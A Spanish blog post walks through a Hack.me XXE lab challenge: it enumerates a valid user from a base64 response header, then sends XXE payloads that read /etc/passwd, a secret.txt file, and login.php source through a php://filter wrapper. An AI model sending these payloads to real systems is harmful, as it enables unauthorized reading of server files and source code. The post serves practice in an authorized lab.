jueves, 20 de marzo de 2014

XXE online

Hace unos días Cesar nos regaló un Post bastante interesante sobre XXE.
Al respecto y para que practiquen un poco HACIENDO las cosas (y no sólo leyendo una bonita vulnerabilidad y nunca hacerla) tenemos  a la mano la "comunidad" de HACK.ME (Hack.me tiene varias pruebas y retos que te harán practicar en ambientes autorizados lo que tanto has leído, así que no tienes excusas).

Para XXE tienen un "reto" Hack with XXE elaborado por Denis Kolegov, que nos permitirá practicar muchas cosas que están en el Post de Cesar.

Como verás, el "reto" nos muestra una pantalla común de login:

El objetivo según la descripción del "reto" es tener acceso a las sesiones de los usuarios explotando XXE.
Si bien no lo dicen directamente en la descripción, el reto consta de dos partes (los tags del reto son bruteforce y xml):
1. Enumerar usuarios válidos (bruteforce)
2. Explotar XXE para obtener  las "sesiones de los usuarios" (xml)

Aquí la ADVERTENCIA, ya que a continuación resolveré el "reto". Así que por favor has un esfuerzo, no sigas leyendo, RESUELVE tú el reto, y si tienes problemas para resolverlo, regresa por acá para que busques pistas que te permitan seguir avanzando.

Parte 1 - enumerar usuarios:
Entonces la idea es poner valores aleatorios y verificar como reacciona la aplicación, tanto en el browser como en un proxy tipo burp o zap (burp lover así  que usaré burp).

Si ingreso la combinación usuario:password
En el browser muestra por un breve tiempo "Incorrect username or password", el mismo mensaje nos sale en la respuesta de burp.

Teóricamente debería realizar bruteforce para enumerar usuarios válidos, pero probemos con los evidentes no?
Si ingreso la combinación admin:password
En el browser muestra por un breve tiempo "Incorrect username or password", el mismo mensaje nos sale en la respuesta de burp.

He aquí la importancia en los detalles (de paso comprobamos que no toda vulnerabilidad la encontrará un herramienta automatizada).
Vemos ambas respuestas en el burp (izquierda user:usuario / derecha user:admin):
Observas la diferencia?
Tenemos un header "X-Auth-Policy" con el valor:
e3N0b3JhZ2U6InNlY3JldC50eHQiLHBhdGg6Ii8iLHByaW5jaXBhbDoidG9rZW4ifQ==
Se puede apreciar a simple vista que está codificando en base64, entonces decodificando tenemos:
{storage:"secret.txt",path:"/",principal:"token"}

Entonces podríamos presumir por las respuestas diferentes que hemos acertado con por lo menos un usuario válido: admin.
Y es este usuario el que usaremos en el resto de request.

Parte 2 - explotar XXE:
Observamos el request cuando se realiza el login, y en el body del request tenemos:
<user><login>admin</login><password>password</password></user>

Entonces aplicando el Vector 1:File disclosure del Post de Cesar, modificamos el body del request :
<!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><login>admin</login><password>password</password><data>&xxe;</data></user>

Esto nos da como respuesta:
<br />
<b>Warning</b>:  simplexml_load_string() [<a href='function.simplexml-load-string'>function.simplexml-load-string</a>]: I/O warning : failed to load external entity &quot;file:///etc/passwd&quot; in <b>C:\inetpub\wwwroot\coliseum\client\sandbox\20901-101587\BODY\inner\login.php</b> on line <b>19</b><br />
Unknown parameter data with "" value
Incorrect username or password

Que paso? algo está mal? no sirve la teoría? Keep calm and toma tu aguita de coco.
Hemos requerido el archivo /etc/passwd y la aplicación nos responde con un error y nos da una ruta:
C:\inetpub\wwwroot\coliseum\client\sandbox\20901-101587\BODY\inner\login.php
Con esa información modificamos una vez más nuestro request:
<!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///C:/inetpub/wwwroot/coliseum/client/sandbox/20901-101587/BODY/inner/secret.txt">]>
<user><login>admin</login><password>password</password><data>&xxe;</data></user>


Como se que el archivo era secret.txt? Leer al final de la "Parte  1"
Con esto obtenemos las "sesiones de los usuarios" y finalizamos el reto:
comment:"Congratulations! You Hack Me!!!"

Porque no puedo leer otros archivos? Por permisos de usuario

Al infinito y más alla- explotar XXE:
Si bien ya hemos "cumplido" con el reto, vamos tenemos un ambiente virtual, porque no seguir probando cosas no?
Porque no tratar de leer el código fuente para así comprender mejor la aplicación y encontrar más "vulnerabilidades"?
Bueno no pondré la teoría (tal vez Cesar continúe su Post para una parte 2?), ni explicaré porque tengo que usar cosas como "php","filter","read", "convert", etc.
El objetivo: leer el código fuente del archivo login.php
Aquí el "ataque":
<!DOCTYPE root[<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=login.php">]>
<user><login>admin</login><password>password</password><data>&xxe;</data></user>

Y como respuesta tenemos el código fuente codificado en base64, ya Uds. hagan su tarea.


En el código fuente vemos que los usuarios son:
 $Users = array('admin','administrator','test','guest','root');

Nota final:
Las herramientas automatizadas sirven, pero nunca reemplazarán la labor manual de un atacante experimentado.





1 comentario:

  1. Inicialmente, la gestión de la ciberseguridad se ocupó de proteger la seguridad en la información en las organizaciones de una manera reactiva. Sin embargo, los cambios en el entorno han obligado a evolucionar hacia una visión de la ciberseguridad mucho más proactiva, que pretende prevenir la enfermedad y no curarla cuando ya apareció.

    ResponderEliminar